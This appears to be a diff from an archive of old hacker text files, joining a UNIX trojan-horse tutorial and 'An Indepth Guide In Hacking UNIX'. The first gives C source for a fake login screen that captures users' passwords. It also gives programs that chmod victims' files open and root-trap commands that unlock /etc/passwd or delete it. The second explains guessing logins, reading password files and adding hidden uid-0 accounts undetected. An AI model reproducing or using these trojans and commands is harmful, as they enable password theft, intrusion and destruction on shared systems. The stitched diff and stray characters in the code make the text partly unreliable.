Project One: Fishing For Passwords
-----------------------------------
You can implement this with only a minimal knowledge of UNIX and C.
However, you need access to a terminal that many people use - the computer lab
at your school, for example.
When you log onto a typical UNIX system, you see something like this:
Tiburon Systems 4.2bsd / System V (shark)
login: shark
Password: (not printed)
The program I'm giving you here simulates a logon sequence. You run the
program from a terminal and then leave. Some unknowing fool will walk up and
enter their login and password. It is written to a file of yours, then "login
incorrect" is printed, then the fool is asked to log in again. The second
time it's the real login program. This time the person succeeds and they are
none the wiser.
On the system, put the following code into a file called 'horse.c'. You
will need to modify the first 8 lines to fit your system's appearance.
----- Code Begins Here -----
/* this is what a 'C' comment looks like. You can leave them out. */
/* #define's are like macros you can use for configuration. */
#define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"
/* The above string should be made to look like the message that your
* system prints when ready. Each \n represents a carriage return.
*/
#define LOGIN "login: "
/* The above is the login prompt. You shouldn't have to change it
* unless you're running some strange version of UNIX.
*/
#define PASSWORD "password:"
/* The above is the password prompt. You shouldn't have to change
* it, either.
*/
#define WAIT 2
/* The numerical value assigned to WAIT is the delay you get after
* "password:" and before "login incorrect." Change it (0 = almost
* no delay, 5 = LONG delay) so it looks like your system's delay.
* realism is the key here - we don't want our target to become
* suspicious.
*/
#define INCORRECT "Login incorrect.\n"
/* Change the above so it is what your system says when an incorrect
* login is given. You shouldn't have to change it.
*/
#define FILENAME "stuff"
/* FILENAME is the name of the file that the hacked passwords will
* be put into automatically. 'stuff' is a perfectly good name.
*/
/* Don't change the rest of the program unless there is a need to
* and you know 'C'.
*/
#include <curses.h>
#include <signal.h>
int stop();
main()
{
char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
scanf("%[^\n]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^\n]",password);
printf("\n");
getchar();
echo();
sleep(WAIT);
if ( ( fp = fopen(FILENAME,"a") ) != NULL ) {
#fprintf(fp,"login %s has password %s\n",name,password);
#fclose(fp);
#}
printf(INCORRECT);
endwin();
}
stop()
{
endwin();
exit(0);
}
----- Source Ends Here -----
OK, as I said, enter the above and configure it so it looks exactly like
your system's login sequence. To compile this program called 'horse.c' type
the following two lines: (don't type the %'s, they are just a sample prompt)
% cc horse.c -lcurses -ltermcap
% mv a.out horse
You now have the working object code in a file called 'horse'. Run it, and if
it doesn't look like your systems logon sequence, re-edit horse.c and
recomplie it. When you're ready to put the program into use, create a new
file and call it 'trap' or something. 'trap' should have these two commands:
horse (this runs your program)
login (this runs the real login program)
to execute 'trap' type:
% source trap (again, don't type the %)
and walk away from your terminal...
After you've run it successfully a few times, check your file called
'stuff' (or whatever you decided to call it). It will look like this:
user john has password secret
user mary has password smegma
etc.
Copy down these passwords, then delete this file (it can be VERY incriminating
if the superuser sees it).
Note - for best results your terminal should be set to time-out after a few
minutes of non-use - that way, your horse program doesn't run idle for 14
hours if nobody uses the terminal you ran it on.
-----
The next projects can be run on a remote system, such as the VAX in Michigan
you've hacked into, or Dartmouth's UNIX system, or whatever. However, they
require a little knowledge of the 'C' language. They're not something for
UNIX novices.
Project Two: Reading Anybody's Files
-------------------------------------
When somebody runs a program, they're the owner of the process created and
that program can do anything they would do, such as delete a file in their
directory or making a file of theirs available for reading by anybody.
When people save old mail they get on a UNIX system, it's put into a file
called mbox in their home directory. This file can be fun to read but is
usually impossible for anybody but the file's owner to read. Here is a short
program that will unlock (i.e. chmod 777, or let anybody on the system read,
write or execute) the mbox file of the person who runs the program:
----- Code Begins Here -----
#include <pwd.h>
struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];
main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
system(buf);
}
}
----- Code Ends Here -----
So the question is: How do I get my target to run this program that's
in my directory?
If the system you're on has a public-messages type of thing (on 4.xbsd, type
'msgs') you can advertise your program there. Put the above code in another
program - find a utility or game program in some magazine like UNIX WORLD and
modify it and do the above before it does it's real thing. So if you have a
program called tic-tac-toe and you've modified it to unlock the mbox file of
the user before it plays tic-tac-toe with him, advertise "I have a new tic-
tac-toe program running that you should all try. It's in my directory." or
whatever. If you don't have means of telling everybody on the system via a
public message, then just send mail to the specific people you want to trap.
If you can't find a real program to modify, just take the above program and
add this line between the two '}' lines at the end of the program:
printf("Error opening tic-tac-toe data file. Sorry!\n");
when the program runs, it will print the above error message. The user will
think "Heh, that dude doesn't know how to write a simple tic-tac-toe program!"
but the joke's on him - you can now read his mail.
If there's a specific file in a user's directory that you'd like to read (say
it's called "secret") just throw together this general program:
main()
{
if ( access("secret",0) > -1 ) system("chmod 777 secret");
}
then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program
called super_star_wars, will you try it out?"
You can use your imagination. Think of a command you'd like somebody to
execute. Then put it inside a system() call in a C program and trick them
into running your program!
Here's a very neat way of using the above technique:
Project Three: Become the superuser
-----------------------------------
Write a program that you can get people to run. Put this line in it
somewhere:
if ( !strcmp(getlogin(),"root") ) system("whatever you want");
This checks to see if the root login is running your program. If he is, you
can have him execute any shell command you'd like. Here are some suggestions:
"chmod 666 /etc/passwd"
/etc/passwd is the system's password file. The root owns this file.
Normally, everyone can read it (the passwords are encrypted) but only the root
can write to it. Take a look at it and see how it's formatted if you don't
know already. This command makes it possible for you to now write to the file
- i.e. create unlimited accounts for yourself and your friends.
"chmod 666 /etc/group"
By adding yourelf to some high-access groups, you can open many
doors.
"chmod 666 /usr/lib/uucp/L.sys"
Look for this file on your system if it is on the uucp net. It contains
dialups and passwords to other systems on the net, and normally only the uucp
administrator can read it. Find out who owns this file and get him to
unknowingly execute a program to unlock it for you.
"rm /etc/passwd"
If you can get the root to execute this command, the system's passwd file
will be removed and the system will go down and will not come up for some time
to come. This is very destructive.
-----
If you are going to go about adding a trojan horse program to the system,
there are some rules you should follow. If the hidden purpose is something
major (such as unlocking the user's mbox or deleting all of his files or
something) this program shouldn't be a program that people will be running a
lot (such as a popular computer game) - once people discover that their files
are public access the source of the problem will be discovered quite easily.
Save this purpose for a 'test' program (such as a game you're in the process
of writing) that you ask individual people to run via mail or 'chatting' with
them. As I said, this 'test' program can bomb or print a phony error message
after completing its task, and you will just tell the person "well, I guess
it needs more work", wait until they log off, and then read whatever file of
theirs that you've unlocked. If your trojan horse program's sole purpose is
to catch a specific user running it - such as the root or other high-powered
user - you can put the code to do so in a program that will be run a lot by
various users of the system. Your modification will remain dormant until he
runs it. If you cant find the source to 'star trek' or whatever in C, just
learn C and convert something from pascal. It can't hurt to learn C as it's a
great language. We've just seen what it can do on a UNIX system. Once you've
caught the root (i.e. you can now modify the /etc/passwd file) remove the
spurious code from your trojan horse program and you'll never be caught.

904
textfiles.com/hacking/UNIX/unix~1.txt Normal file
View File

@@ -0,0 +1,904 @@
An Indepth Guide In Hacking UNIX
and
The Concept Of Basic Networking Utility
By: Evil Ernie
Member of:
-=NLA=-
No Lamerz Allowed
Brief History On UNIX
~~~~~~~~~~~~~~~~~~~~~
Its because of Ken Tompson that today we are able to hack Unix. He used to
work for Bell Labs in the 1960s. Tompson started out using the MULTICS OS
which was later eliminated and Tompson was left without an operating system to
work with.
Tompson had to come up with something real quick. He did some research and and
in 1969 UNIX came out, which was a single user and it did not have many
capabilities. A combined effort with others enabled him to rewrite the version
in C and add some good features. This version was released in 1973 and was
made available to the public. This was the first begining of UNIX in its
presently known form. The more refined version of UNIX, today know as UNIX
system V developed by Berkley University has unique capabilities.
Various types of UNIXes are CPIX, Berkeley Ver 4.1, Berkeley 4.2, FOS, Genix,
HP-UX, IS/I, OSx, PC-IX, PERPOS, Sys3, Ultrix, Zeus, Xenix, UNITY, VENIX, UTS,
Unisys, Unip lus+, UNOS, Idris, QNIX, Coherent, Cromix, System III, System 7,
Sixth edition.
The Article Itself
~~~~~~~~~~~~~~~~~~
I believe that hacking into any system requires knowledge of the operating
system itself. Basically what I will try to do is make you more familiar with
UNIX operation and its useful commands that will be advantageous to you as a
hacker. This article contains indepth explainations. I have used the UNIX
System V to write this article.
Error Messages: (UNIX System V)
~~~~~~~~~~~~~~
Login Incorrect - An invalid ID and/or password was entered. This means
nothing. In UNIX there is no way guessing valid user IDs.
You may come across this one when trying to get in.
No More Logins - This happens when the system will not accept anymore logins.
The system could be going down.
Unknown Id - This happens if an invalid id is entered using (su) command.
Unexpected Eof In File - The file being stripped or the file has been damaged.
Your Password Has Expired - This is quite rare although there are situations
where it can happen. Reading the etc/passwd will
show you at how many intervals it changes.
You May Not Change The Password - The password has not yet aged enough. The
administrator set the quotas for the users.
Unknown Group (Group's Name) - Occurs when chgrp is executed, group does not
exist.
Sorry - Indicated that you have typed in an invalid super user password
(execution of the su).
Permission Denied! - Indicated you must be the owner or a super user to change
password.
Sorry <( Of Weeks) Since Last Change - This will happen when password has has
not aged enough and you tried to change
it (password).
(Directory Name): No Permission - You are trying to remove a directory which
you have no permission to.
(File Name) Not Removed - Trying to delete a file owned by another user that
you do not have write permission for.
(Dirname) Not Removed - Ownership of the dir is not your that your trying to
delete.
(Dirname) Not Empty - The directory contains files so you must have to delete
the files before execcant open [file name] - defined
wrong path, file name or you have no read permission.
Cp: (File Name) And (File Name) Are Identical - Self explanatory.
Cannot Locate Parent Directory - Occurs when using mv.
(File name) Not Found - File which your trying to move does not exist.
You Have Mail - Self explanatory.
Basic Networking Utility Error Messages
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Cu: Not found - Networking not installed.
Login Failed - Invalid id/pw or wrong number specified.
Dial Failed - The systen never answered due to a wrong number.
UUCP Completely Failed - Did not specify file after -s.
Wrong Time to Call - You called at the time at a time not specified in the
Systems file.
System not in systems - You called a remote not in the systems file.
Logon Format
~~~~~~~~~~~~
The first thing you must do is switch to lower case. To identifing a UNIX,
this is what you will see;
AT&T Unix System V 3.0 (eg of a system identifier)
login:
or
Login:
Any of these is a UNIX. Here is where you will have to guess at a user valid
id. Here are some that I have come across; glr, glt, radgo, rml, chester, cat,
lom, cora, hlto, hwill, edcasey, and also some containing numbers; smith1,
mitu6, or special characters in it; bremer$, jfox. Login names have to be 3
to 8 chracters in length, lowercase, and must start with a letter. In some
XENIX systems one may login as "guest"
User Level Accounts (Lower Case)
~~~~~~~~~~~~~~~~~~~
In Unix there are what is called. These accounts can be used at the "login:"
prompt. Here is a list:
sys bin trouble daemon uucp nuucp rje lp adm
Super-User Accounts
~~~~~~~~~~~~~~~~~~~
There is also a super-user login which make UNIX worth hacking. The accounts
are used for a specific job. In large systems these logins are assingned to
users who have a responsibilty to maintain subsystems.
They are as follows (all lower case);
root - This is a must the system comes configured with it. It has no
restriction. It has power over every other account.
unmountsys - Unmounts files
setup - System set up
makefsys - Makes a new file
sysadm - Allows useful S.A commands (doesn't need root login)
powerdown - Powering system down
mountfsys - Mounts files
checkfsys - Checks file
These accounts will definitly have passwords assigned to them. These accounts
are also commands used by the system administrator. After the login prompt you
will receive a password prompt:
password:
or
Password:
Enter the password (it will not echo). The password rule is as follows; Each
password has to contain at least 6 characters and maximum of 8 characters. Two
of which are to be alphabetic letters and at least one being a number or a
special character. The alphabetic digits could be in upper case or lower
case. Here are some of the passwords that I have seen; Ansuya1, PLAT00N6,
uFo/78, ShAsHi.., Div417co.
The passwords for the super user accounts will be difficult to hack try the
accounts interchangebly; login:sysadm password:makefsys, or rje1, sysop,
sysop1, bin4, or they might contain letters, numbers, or special chracters in
them. It could be anything. The user passwords are changed by an aging
proccess at successive intervals. The users are forced to changed it. The
super-user will pick a password that will not need changing for a long period
of time.
You Have Made It!
~~~~~~~~~~~~~~~~~
The hard part is over and hopefully you have hacked a super-user account.
Remember Control-d stops a process and also logs you off. The next thing you
will probably see is the system news. Ex;
login:john
password:hacker1
System news
There will be no networking offered to the users till
August 15, due to hardware problems.
(Just An Example)
$
$ (this is the Unix prompt) - Waiting for a command to be entered.
- Means your logged in as root (Very Good).
A Word About The XENIX System III (Run On The Tandy 6000)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The largest weakness in the XENIX System III occurs after the installation
of the Profile-16 or more commonly know as the Filepro-16. I have seen the
Filepro-16 installed in many systems. The installation process creates an
entry in the password file for a user named \fBprofile\fR, an account that who
owns and administors the database. The great thing about it is that when the
account is created, no password is assigned to it. The database contains
executable to maintain it. The database creation programs perform a
\fBsetuid\fR to boot up the \fBoot\fR thereby giving a person the whole C
Shell to gain Super User privilege same as root. Intresting huh!
(* Note: First the article will inform you of how the Unix is made up.)
The Unix is made if three components - The Shell, The Kernal, File System.
The Kernal
~~~~~~~~~~
You could say that the kernal is the heart of the Unix operating system. The
kernal is a low level language lower than the shell which maintains processes.
The kernal handles memory usage, maintains file system the sofware and hardware
devices.
The Shell
~~~~~~~~~
The shell a higher level language. The shell had two important uses, to act as
command interpreture for example using commands like cat or who. The shell is
at work figuring out whether you have entered a command correctly or not. The
second most important reason for the shell is its ability to be used as
programing language. Suppose your performing some tasks repeatedly over and
over again, you can program the shell to do this for you.
(Note: This article will not cover shell programming.)
( Instead B.N.N will be covered. )
The File System
~~~~~~~~~~~~~~~
The file system in Unix is divided into 3 catagories: Directories, ordinary
files and special files (d,-).
Basic Stucture:
(/)-this is abreviation for the root dirctory.
root level root
(/) system
-------------------------------------|---------------------------------- level
| | | | | | | |
/unix /etc /dev /tmp /lib /usr /usr2 /bin
| _____|_____
login passwd | | |
level /john /cathy
________________________|_______________
| | | | | |
.profile /mail /pers /games /bin /michelle
*.profile - in case you | __|______ | __|_______
wish to change your environment, but capital | | data | | |
after you log off, it sets it to othello starwars letter letter1
default.
/unix - This is the kernal.
/etc - Contains system administrators files,Most are not available to the
regular user (this dirrctory contains the /passwd file).
Here are some files under /etc directory:
/etc/passwd
/etc/utmp
/etc/adm/sulog
/etc/motd
/etc/group
/etc/conf
/etc/profile
/dev - contains files for physical devices such as printer and the disk drives
/tmp - temporary file directory
/lib - dirctory that contains programs for high level languages
/usr - this directory contains dirctories for each user on the system
/bin - contain executable programs (commands)
The root also contains:
/bck - used to mount a back up file system.
/install - Used to install and remove utilities
/lost+found - This is where all the removed files go, this dir is used by fsck
/save -A utility used to save data
/mnt - Used for temporary mounting
**Now the fun part scouting around**
Local Commands (Explained In Details)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
At the unix prompt type the pwd command. It will show you the current working
directory you are in.
$ pwd
$ /usr/admin - assuming that you have hacked into a super user account
check fsys
$
This gives you the full login directory. The / before tell you the location of
the root directory.
Or
(REFER TO THE DIAGRAM ABOVE)
$ pwd
$ /usr/john
$
Assuming you have hacked into John's account.
Lets say you wanted to move down to the Michelle directory that contains
letters. You would type in;
$ cd michelle or cd usr/john/michelle
$ pwd
$ /usr/john/michelle
$
Going back one directory up type in:
$ cd ..
or going to your parent directory just type in "cd"
Listing file directories assuming you have just logged in:
$ ls /usr/john
mail
pers
games
bin
michelle
This wont give you the .profile file. To view it type
$ cd
$ ls -a
:
:
.profile
To list file names in Michelle's directory type in:
$ ls michelle (that if your in the johns directory)
$ ls /usr/john/michelle(parent dir)
ls -l
~~~~~
The ls -l is an an important command in unix.This command displays the whole
directory in long format :Run this in parent directory.
$ ls -l
total 60
-rwxr-x--- 5 john bluebox 10 april 9 7:04 mail
drwx------ 7 john bluebox 30 april 2 4:09 pers
: : : : : : :
: : : : : : :
-rwxr-x--- 6 cathy bluebox 13 april 1 13:00 partys
: : : : : : :
$
The total 60 tells one the ammount of disk space used in a directory. The
-rwxr-x--- is read in triples of 3. The first chracter eg (-, d, b, c) means
as follows: - is an ordinary file, d is a directory, b is block file, c is a
character file.
The r stands for read permission, w is write permission, x is execute. The
first column is read in 3 triples as stated above. The first group of 3 (in
-rwxr-x---) after the "-" specifies the permission for the owner of the file,
the second triple are for the groups (the fourth column) and the last triple
are the permissions for all other users. Therefore, the -rwxr-x--- is read as
follows.
The owner, John, has permission to read, write, and execute anything in the bin
directory but the group has no write permission to it and the rest of the users
have no permission at all. The format of one of the lines in the above output
is as follows:
file type-permissions, links, user's name, group, bytes taken, date, time when
last renued, directory, or file name.
*** You will be able to read, execute Cathy's ***
*** file named partly due to the same group. ***
Chmod
~~~~~
The chmod command changes permission of a directory or a file. Format is
chmod who+, -, =r , w, x
The who is substituted by u-user, g-group, o-other users, a-all.
The + means add permission, - means remove permission, = - assign.
Example: If you wanted all other users to read the file name mail, type:
$ chmod o+r mail
Cat
~~~
Now suppose you wanted to read the file letter. There are two ways to doing
this. First go to the michelle directory then type in:
$ cat letter
line one ...\
line two ... }the output of letter
line three../
$
or
If you are in the parent directory type in:
$ cat /usr/john/michelle/letter
and you will have the same output.
Some cat options are -s, -u, -v, -e, -t
Special Chracters in Unix
~~~~~~~~~~~~~~~~~~~~~~~~~
* - Matches any number of single characters eg. ls john* will list all
files that begin with john
[...] - Matchs any one of the chracter in the [ ]
? - Matches any single chracter
& - Runs a process in the backgroung leaving your terminal free
$ - Values used for variables also $n - null argument
> - Redirectes output
< - Redirects input to come from a file
>> - Redirects command to be added to the end of a file
| - Pipe output (eg:who|wc-l tells us how many users are online)
"..." - Turn of meaning of special chracters excluding $,`
`...` - Allows command output in to be used in a command line
'...' - Turns of special meaning of all chracters
Continuation Of Local Commands
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
man [command] or [c/r] -will give you a list of commands explainations
help - available on some UNIX systems
mkdir [dir name(s)] - makes a directory
rmdir [dir name(s)] - removes directory.You wont be able to remove the
directory if it contains files in them
rm [file name(s)] - removes files. rm * will erase all files in the current
dir. Be carefull you! Some options are:
[-f unconditional removal] [-i Prompts user for y or n]
ps [-a all processes except group leaders] [-e all processes] [-f the whole
list] - This command reports processes you are running eg:
$ps
PID TTY TIME COMMAND
200 tty09 14:20 ps
The systems reports (PID - process idenetification number which is a number
from 1-30,000 assigned to UNIX processes)
It also reports the TTY,TIME and the COMMAND being executed at the time.
To stop a process enter :
$kill [PID] (this case its 200)
200 terminated
$
grep (argument) - searches for an file that contains the argument
mv (file names(s)) ( dir name ) - renames a file or moves it to another
directory
cp [file name] [file name] - makes a copy of a file
write [login name ] - to write to other logged in users. Sort of a chat
mesg [-n] [-y] - doesn't allow others to send you messages using the write
command. Wall used by system adm overrides it.
$ [file name] - to execute any file
wc [file name] - Counts words, characters,lines in a file
stty [modes] - Set terminal I/O for the current devices
sort [filename] - Sorts and merges files many options
spell [file name] > [file name] - The second file is where the misspelt words
are entered
date [+%m%d%y*] [+%H%%M%S] - Displays date acoording to options
at [-r] [-l] [job] - Does a specified job at a specified time. The -r Removes
all previously scheduled jobs.The -l reports the job and
status of all jobs scheduled
write [login] [tty] - Sends message to the login name. Chat!
Su [login name]
~~~~~~~~~~~~~~~
The su command allows one to switch user to a super user to a user. Very
important could be used to switch to super user accounts.
Usage:
$ su sysadm
password:
This su command will be monitored in /usr/adm/sulog and this file of all files
is carefully monitered by the system administrator.Suppose you hacked in john's
account and then switched to the sysadm account (ABOVE) your /usr/adm/su log
entry would look like:
SU 04/19/88 21:00 + tty 12 john-sysadm
Therfore the S.A(system administrator) would know that john swithed to sysadm
account on 4/19/88 at 21:00 hours
Searching For Valid Login Names:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Type in-
$ who ( command informs the user of other users on the system)
cathy tty1 april 19 2:30
john tty2 april 19 2:19
dipal tty3 april 19 2:31
:
:
tty is the user's terminal, date, time each logged on. mary, dr.m are valid
logins.
Files worth concatenating(cat)
/etc/passwd file
~~~~~~~~~~~~~~~~
The etc/passwd is a vital file to cat. For it contains login names of all
users including super user accounts and there passwords. In the newer SVR3
releases they are tighting their security by moving the encrypted passwords
from /etc/passwd to /etc/shadow making it only readable by root.
This is optional of course.
$ cat /etc/passwd
root:D943/sys34:0:1:0000:/:
sysadm:k54doPerate:0:0:administration:usr/admin:/bin/rsh
checkfsys:Locked;:0:0:check file system:/usr/admin:/bin/rsh
:
other super user accs.
:
john:hacker1:34:3:john scezerend:/usr/john:
:
other users
:
$
If you have reached this far capture this file as soon as possible. This is a
typical output etc/passwd file. The entries are seperated by a ":". There
made be up to 7 fields in each line.
Eg.sysadm account.
The first is the login name in this case sysadm.The second field contains the
password. The third field contains the user id."0 is the root." Then comes
the group id then the account which contains the user full name etc. The sixth
field is the login directory defines the full path name of the the paticular
account and the last is the program to be executed. Now one can switch to
other super user account using su command descibed above. The password entry
in the field of the checkfsys account in the above example is "Locked;". This
doesn't mean thats its a password but the account checkfsys cannot be accessed
remotely. The ";" acts as an unused encryption character. A space is also
used for the same purpose. You will find this in many UNIX systems that are
small systems where the system administrator handles all maintaince.
If the shawdowing is active the /etc/passwd would look like this:
root:x:0:1:0000:/:
sysadm:x:0:0:administration:/usr/admin:/bin/rsh
The password filed is substituted by "x".
The /etc/shawdow file only readable by root will look similar to this:
root:D943/sys34:5288::
:
super user accounts
:
Cathy:masai1:5055:7:120
:
all other users
:
The first field contains users id: The second contains the password (The pw
will be NONE if logining in remotely is deactivated): The third contains a
code of when the password was last changed: The fourth and the fifth contains
the minimum and the maximum numbers of days for pw changes (its rare that you
will find this in the super user logins due to there hard to guess passwords)
/etc/options
~~~~~~~~~~~~
The etc/options file informs one the utilities available in the system.
-rwxr-xr-x 1 root sys 40 april 1:00 Basic Networking utility
/etc/group
~~~~~~~~~~
The file has each group on the system. Each line will have 4 entries separated
by a ":". Example of concatenated /etc/group:
root::0:root
adm::2:adm,root
bluebox::70:
Group name:password:group id:login names
** It very unlikely that groups will have passwords assigned to them **
The id "0" is assigned to /
Sending And Recieving Messages
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Two programs are used to manage this. They are mail & mailx. The difference
between them is that mailx is more fancier thereby giving you many choices like
replying message, using editors, etc.
Sending
~~~~~~~
The basic format for using this command is:
$mail [login(s)]
(now one would enter the text after finishing enter "." a period on the next
blank line)
$
This command is also used to send mail to remote systems. Suppose you wanted
to send mail to john on a remote called ATT01 you would type in:
$mail ATT01!john
Mail can be sent to several users, just by entering more login name after
issuing the mail command
Using mailx is the same format:(This I'll describe very briefly) $mailx john
subject:(this lets you enter the subject)
(line 1)
(line 2)
(After you finish enter (~.) not the brackets of course, more commands are
available like ~p, ~r, ~v, ~m, ~h, ~b, etc.).
Receiving
~~~~~~~~~
After you log on to the system you will the account may have mail waiting.
You will be notified "you have mail."
To read this enter:
$mail
(line 1)
(line 2)
(line 3)
?
$
After the message you will be prompted with a question mark. Here you have a
choice to delete it by entering d, saving it to view it later s, or just press
enter to view the next message.
(DON'T BE A SAVANT AND DELETE THE POOR GUY'S MAIL)
Super User Commands
~~~~~~~~~~~~~~~~~~~
$sysadm adduser - will take you through a routine to add a user (may not last
long)
Enter this:
$ sysadm adduser
password:
(this is what you will see)
/--------------------------------------------------------------------------\
Process running succommmand `adduser`
USER MANAGMENT
Anytime you want to quit, type "q".
If you are not sure how to answer any prompt, type "?" for help
If a default appears in the question, press <RETURN> for the default.
Enter users full name [?,q]: (enter the name you want)
Enter users login ID [?,q]:(the id you want to use)
Enter users ID number (default 50000) [?,q) [?,q]:( press return )
Enter group ID number or group name:(any name from /etc/group)
Enter users login home directory:(enter /usr/name)
This is the information for the new login:
Users name: (name)
login ID:(id)
users ID:50000
group ID or name:
home directory:/usr/name
Do you want to install, edit, skip [i, e, s, q]? (enter your choice if "i"
then)
Login installed
Do you want to give the user a password?[y,n] (its better to enter one)
New password:
Re-enter password:
Do you want to add another login?
\----------------------------------------------------------------------------/
This is the proccess to add a user. Since you hacked into a super user account
you can make a super user account by doing the following by entering 0 as an
user and a group ID and enter the home directory as /usr/admin. This will give
you as much access as the account sysadm.
**Caution** - Do not use login names like Hacker, Cracker,Phreak etc. This is
a total give away.
The process of adding a user wont last very long the S.A will know when he
checks out the /etc/passwd file
$sysadm moduser - This utility allows one to modify users. DO NOT ABUSE!!
!
Password:
This is what you'll see:
/----------------------------------------------------------------------------\
MODIFYING USER'S LOGIN
1)chgloginid (This is to change the login ID)
2)chgpassword (Changing password)
3)chgshell (Changing directory DEFAULT = /bin/sh)
ENTER A NUMBER,NAME,INITIAL PART OF OF NAME,OR ? OR <NUMBER>? FOR HELP, Q TO
QUIT ?
\----------------------------------------------------------------------------/
Try every one of them out.Do not change someones password.It creates a havoc.
If you do decide to change it.Please write the original one down somewhere
and change back.Try not to leave to many traces after you had your fun. In
choice number 1 you will be asked for the login and then the new one. In
choice number 2 you will asked for the login and then supplied by it correct
password and enter a new one. In choice 3 this is used to a pchange the login
shell ** Use full ** The above utilites can be used separatly for eg (To
change a password one could enter: $sysadm chgpasswd not chapassword, The rest
are same)
$sysadm deluser - This is an obviously to delete a user password:
This will be the screen output:
/---------------------------------------------------------------------------\
Running subcommand 'deluser' from menu 'usermgmt'
USER MANAGEMENT
This fuction completely removes the user,their mail file,home directory and all
files below their home directory from the machine.
Enter login ID you wish to remove[q]: (eg.cathy)
'cathy' belongs to 'Cathy Franklin'
whose home directory is /usr/cathy
Do you want to remove this login ID 'cathy' ? [y,n,?,q] :
/usr/cathy and all files under it have been deleted.
Enter login ID you wish to remove [q]:
\--------------------------------------------------------------------------/
This command deletes everthing owned by the user.Again this would be stupid to
use.
Other Super User Commands
~~~~~~~~~~~~~~~~~~~~~~~~~
wall [text] control-d - to send an anouncement to users logged in (will
override mesg -n command). Execute only from /
/etc/newgrp - is used to become a member of a group
sysadm [program name]
delgroup - delets groups
diskuse - Shows free space etc.
whoson - self explanatory
lsgroup - Lists group
mklineset -hunts various sequences
Basic Networking Unility (BNU)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The BNU is a unique feature in UNIX.Some systems may not have this installed.
What BNU does is allow other remote UNIXes communicate with yours without
logging off the present one.BNU also allowes file transfer between computers.
Most UNIX systems V will have this feature installed.
The user program like cu,uux etc are located in the /usr/bin directory
Basic Networking Files
~~~~~~~~~~~~~~~~~~~~~~
/usr/lib/uucp/[file name]
[file name]
systems - cu command to establishes link.Contains info on remote computers
name, time it can be reached, login Id, password, telephone numbers
devices - inter connected with systems files (Automatic call unit same in two
entries) also contains baud rate, port tty1, etc.
dialers - where asscii converation must be made before file tranfers etc.
dialcodes - contains abreiviations for phone numbers that can be used in
systems file
other files are sysfiles, permissions, poll, devconfig
Logining On To Remote And Sending+Receiving Files
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
cu - This command allows one to log on to the local as well as the remote Unix
(or a non unix)without haveing to hang up so you can transfer files.
Usage:[options]
$ cu [-s baud rate][-o odd parity][-e even parity][-l name of comm line]
telephone number | systemname
To view system names that you can communicate with use the 'unname' command:
Eg. of output of names:
ATT01
ATT02
ATT03
ATT04
$ cu -s300 3=9872344 (9872344 is the tel)
connected
login:
password:
Local Strings
~~~~~~~~~~~~~
<~.> - will log you off the remote terminal, but not the local
<control-d> - puts you back on the remote unix local (the directory which you
are in)
"%put [file name] - reverse of above
Ct
~~
ct allows local to connect to remote.Initiates a getty on a remote terminal.
Usefull when using a remote terminal.BNU has call back feature that allows the
user on the remote who can execute a call back meaning the local can call the
remote.[ ] are options
$ ct [-h prevent automatic hang up][-s bps rate][-wt set a time to call back
abbrieviated t mins] telephone number
Uux
~~~
To execute commands on a remote (unix to unix)
usage:[ ] are options
$ uux [- use standard output][-n prevent mail notification][-p also use
standard output] command-string
UUCP
~~~~
UUCP copies files from ones computer to the home directory of a user in remote
system. This also works when copying files from one directory to another in
the remote. The remote user will be notified by mail. This command becomes
use full when copying files from a remote to your local system. The UUCP
requires the uucico daemon will call up the remote and will perform file login
sequence, file transfer, and notify the user by mail. Daemons are programs
runining in the background. The 3 daemons in a Unix are uucico, uusched,
uuxqt.
Daemons Explained: [nows a good time to explain the 3 daemons]
~~~~~~~~~~~~~~~~~
Uuxqt - Remote execution. This daemon is executed by uudemon.hour started by
cron.UUXQT searchs in the spool directory for executable file named
X.file sent from the remote system. When it finds a file X .file where
it obtains process which are to be executed. The next step is to find
weather the processes are available at the time.The if available it
checks permission and if everthing is o.k it proceeds the background
proccess.
Uucico - This Daemon is very immportant for it is responsible in establishing
a connection to the remote also checks permission, performs login
procedures,transfers + executes files and also notifies the user by
mail. This daemon is called upon by uucp,uuto,uux commands.
Uusched - This is executed by the shell script called uudemon.hour. This
daemons acts as a randomizer before the UUCICO daemon is called.
Usage:
$ uucp [options] [first full path name!] file [destination path!] file example:
$ uucp -m -s bbss hackers unix2!/usr/todd/hackers
What this would do is send the file hackers from your computer to the remotes
/usr/todd/hackers making hackers of course as file. Todd would mail that a
file has been sent to him. The Unix2 is the name of the remote. Options for
UUCP: (Don't forget to type in remotes name Unix2 in case)
-c dont copy files to spool directory
-C copy to spool
-s[file name] - this file will contain the file status(above is bbss)
-r Dont start the comm program(uucico) yet
-j print job number(for above eg.unix2e9o3)
-m send mail when file file is complete
Now suppose you wanted to receive file called kenya which is in the
usr/ dan/usa to your home directory /usr/john assuming that the local systems
name is ATT01 and you are currently working in /usr/dan/usa,you would type in:
$uucp kenya ATT01!/usr/john/kenya
Uuto
~~~~
The uuto command allows one to send file to remote user and can also be used to
send files locally.
Usage:
$ uuto [file name] [system!login name]( omit systen name if local)
Conclusion
~~~~~~~~~~
Theres always more one can say about the UNIX, but its time to stop. I hope
you have enjoyed the article. I apologize for the length. I hope I made the
UNIX operating system more familiar. The contents of the article are all
accurate to my knowledge. Hacking into any system is illegal so try to use
remote dial-ups to the job. Remember do not abuse any systems you hack into
for a true hacker doesn't like to wreck, but to learn.
Evil Ernie
-=NLA=-
No Lamerz Allowed
==============================================================================

436
textfiles.com/hacking/UNIX/virpassw.txt Normal file
View File

@@ -0,0 +1,436 @@
